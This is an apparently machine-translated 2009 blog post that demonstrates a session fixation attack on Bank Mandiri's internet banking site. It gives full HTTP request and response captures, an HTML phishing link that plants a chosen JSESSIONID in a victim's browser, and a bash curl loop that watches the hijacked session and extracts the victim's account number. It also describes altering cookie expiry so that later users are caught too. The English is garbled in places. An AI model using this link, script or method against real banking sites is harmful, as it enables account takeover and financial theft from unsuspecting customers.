Hacking Internet Banking Mandiri Session Fixation

In this article I will use tactics to hijack the session fixation Mandiri Internet banking session which is the largest bank in the country. Details about the session fixation attacks can be read in my previous article entitled to know session fixation attacks.

Session ID Bank Mandiri Internet Banking

Independently using Internet banking sessionid stored in the cookie with the name JSESSIONID. Sessionid is very long and random, so it is impossible to use tricks to get sessionid prediction. Example sessionid independent banks are:

JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Fixate sessionid their own elected to the query string

To ascertain whether independent internet banking can be attacked with the session fixation, I will try to enter the query string contains the string JSESSIONID my own choosing. I tried with a query string JSESSIONID = 01,234,567,890. Here areis the request and response that occurred .

1. https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=01234567890
    
   GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1
   Host: ib.bankmandiri.co.id
   User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: id,en-us;q=0.7,en;q=0.3
   Accept-Encoding: gzip,deflate
   Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
   Keep-Alive: 300
   Connection: keep-alive
    
   HTTP/1.x 200 OK
   Date: Mon, 02 Feb 2009 23:28:58 GMT
   Pragma: no-cache
   Content-Encoding: gzip
   Content-Length: 3822
   Content-Type: text/html
   Expires: -1
   Transfer-Encoding: Chunked
   Set-Cookie: JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!568454685!-1062708981!7668!7002; path=/
   Cache-Control: no-cache

It turned out that my proposal rejected by the server, it is seen from responsenya which gives sessionid in the form of cookies on row 21. rom these responses also can be concluded that the server is independent banks prefer to use cookies so that when a client that gives sessionid in query string, returned by the Set-Cookie header. It's a good sign because the cookies are given to victims will ease my attack.

Fixate sessionid who raised the server with query string

Okay, after failing to propose sessionid carelessly with query string. I'll try again with the server generated sessionid. For it before I have to ask the server to provide sessionid. In this example I will use the sessionid that I have asked before, namely:

JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Sessionid I will send the request in the form of query string. Previously, the cookies should be removed because cookies have more priority than the query string in terms sessionid. The following request and response that occurred.

• https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
   
  GET /retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002 HTTP/1.1
  Host: ib.bankmandiri.co.id
  User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: id,en-us;q=0.7,en;q=0.3
  Accept-Encoding: gzip,deflate
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
   
  HTTP/1.x 200 OK
  Date: Mon, 02 Feb 2009 23:37:42 GMT
  Pragma: no-cache
  Content-Encoding: gzip
  Content-Length: 3824
  Content-Type: text/html
  Expires: -1
  Transfer-Encoding: Chunked
  Set-Cookie: JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002; path=/
  Cache-Control: no-cache

   Hore succeeded In response the server was approved for use sessionid I proposed through the query string. Not only that the server is actually helping me to make cookies with my proposal sessionid content. So on the next request I do not need to add the query string because it is automatic cookie Submit These are perfect conditions for fixation attack attack because the attack could be done remotely and the session cookie will be created automatically in the victim's browser.

  Attack Scenario

   Attack scenarios using session fixation stance on Mandiri Internet banking are :

  1.   Attacker sends a link to potential victims
  
  

  
  

  <a target="_blank" href="https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002">
  Klik Dong</a>

  • https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
     
    GET /retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002 HTTP/1.1
    Host: ib.bankmandiri.co.id
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: id,en-us;q=0.7,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
     
    HTTP/1.x 200 OK
    Date: Mon, 02 Feb 2009 23:37:42 GMT
    Pragma: no-cache
    Content-Encoding: gzip
    Content-Length: 3824
    Content-Type: text/html
    Expires: -1
    Transfer-Encoding: Chunked
    Set-Cookie: JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002; path=/
    Cache-Control: no-cache

    Note the link is fine The link does not look suspicious  such as phishing link  Users who will carefully examine these links:

  * Is the domain correct? Right! Domain link ib.bankmandiri.co.id

  * Whether to use https? Right! URL begins with https

  * Are the paths correct? Right! URL path is / retail / Login

   

    Because it's all true,   intended victim will believe that it's not a phishing link contains a fake login page. When in fact it contains a trap link sessionid fixation And unfortunately there was never any information about this danger from the bank concerned.

   

   

  2.The victim clicks on the link.    

   

   When victims click the link then the victims have been trapped using the sessionid that had been prepared by the attacker.  At the victim's browser will create a cookie containing the sessionid JSESSIONID. So that all requests from the victim's browser into an independent bank internet banking sessionid always use them.

  To try to please you open the link, then check your cookie. Is there really a cookie containing the sessionid whose contents equal to the attacker want?.

   

  3. Victim login 

  
  

   Once the victim opens the login page the next victim will enter a username and password. If login successful then the victim can access their accounts  and so was the attacker because they share the same sessionid.

   

  4. Attacker access to the victim account

  
  

   Because the victim and the attacker uses the same sessionid the server assumes the attacker and victim are the same people namely the legitimate account holder. Far away  the attacker always check the status of the sessionidnya session given to the victim . Once the victim successfully logged in , at that moment the attacker will access the accounts of victims.
  The danger of this attack is an attack could take many casualties.Remember that after the victim finished using his account ,  he will logout.  At this point the attacker can no longer access the accounts of victims. But do not forget that there is a cookie containing the sessionid in the victim's browser so that every time a request from a browser it will use the sessionid that have been determined attacker. If there are other victims using that browser and log into the self as well  that person will also be a victim.
• Session Status Checker
  In order for the session is not expired  the attacker must perform continuously with sessionid request that  with this server will think that the sessionid is still actively used . On another computer I have created a simple script to check the status of a particular session by sessionid. status  whether "Dead" (no login) or 'Alive' (in use of people and not logout). 

• • #!/bin/bash
    while [ true ] ; do
    NOREK=`curl -s "https://ib.bankmandiri.co.id/retail/Welcome.do?action=result" -b kue.txt |grep '<td align="center" height="25" bgcolor="#DDF2FA">[0-9]*</td>'|cut -f2 -d">"|cut -f1 -d"<"`
    if [ -z "$NOREK" ]
    then
            echo "Dead"
    else
            echo "Alive, Norek: $NOREK"
    fi
    sleep 10
    done

  The script requires cookies that are stored in files kue.txt. The file will save a cookie to be sent on every request . These files follow the format of the curl.To make it easier  before I accidentally asked for a cookie with curl into ib.bankmandiri.co.id. kue.txt and keep it on file, then I edit the file by replacing sessionidnya with sessionid that my target.  I enter the same sessionid I have used in previous examples above. 
  JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l! 568 454 685! -1062708981! 7668! 7002 
  
  
  

  
  Notice in the picture above, my script will loop continues to send requests with a cookie containing the sessionid. When the page "/ retail / Welcome.do? action = result" contains the "Account Number", sessionid means is being used by someone.
  
  Note also that the server independent banks do not care about the fact that there are two requests from the IP address and user agent are different. The script is run on Linux with a different IP address with a request made from the victim's browser. Because the request is done by curl, then the user agent header was different with the victim's browser. But the server does not care about all the difference, as long as requests are coming to bring a cookie containing the sessionid that is true, then he is entitled to have access. 
  In the figure also shows that the victim can login or logout many times, but still became victims of the attacker. This occurs because the cookie containing the sessionid still remains on the victim although the victim's browser has been logged. So if there is a login again, then he will also wear the same sessionid.
  
  Modification of the Local Cookie Expiry Date  
   
  The downside of a remote attack on the cookie time limit is up to the browser is closed. Once the browser is closed, the cookie is expired will be deleted. If the attacker has physical access, then the result will be more devastating attacks. Attacker will modify the date expired session cookie on the victim's browser. Expirednya date will be converted into year 2099 for example, so the cookie will remain there until 2099. In this way all the people who log in with that browser on that computer will become victims of faraway attacker who always patiently waiting with a script session checkernya.

Prevention Tips

Quite simply a way to prevent it from attackers hit batman trap. Before you login to internet banking pages independently, delete all existing cookies and query strings that contain a sessionid. In this way sessionid sessionid that is used is that given by an unknown attacker's server.

Conclusion

I have shown proof of concept session fixation attacks on internet banking independent. This attack is very dangerous because it can be attacked from a distance and the victim is not only one person, but everyone who logged in the same browser and computer. Unfortunately this attack is not as famous as SQL injection or XSS, but this attack as dangerous so that people are not aware with this threat.

This attack is also the type of attacks that can not be prevented with https because these attacks are in the application layer. So the application logic that must be repaired, not at the level of the https protocol.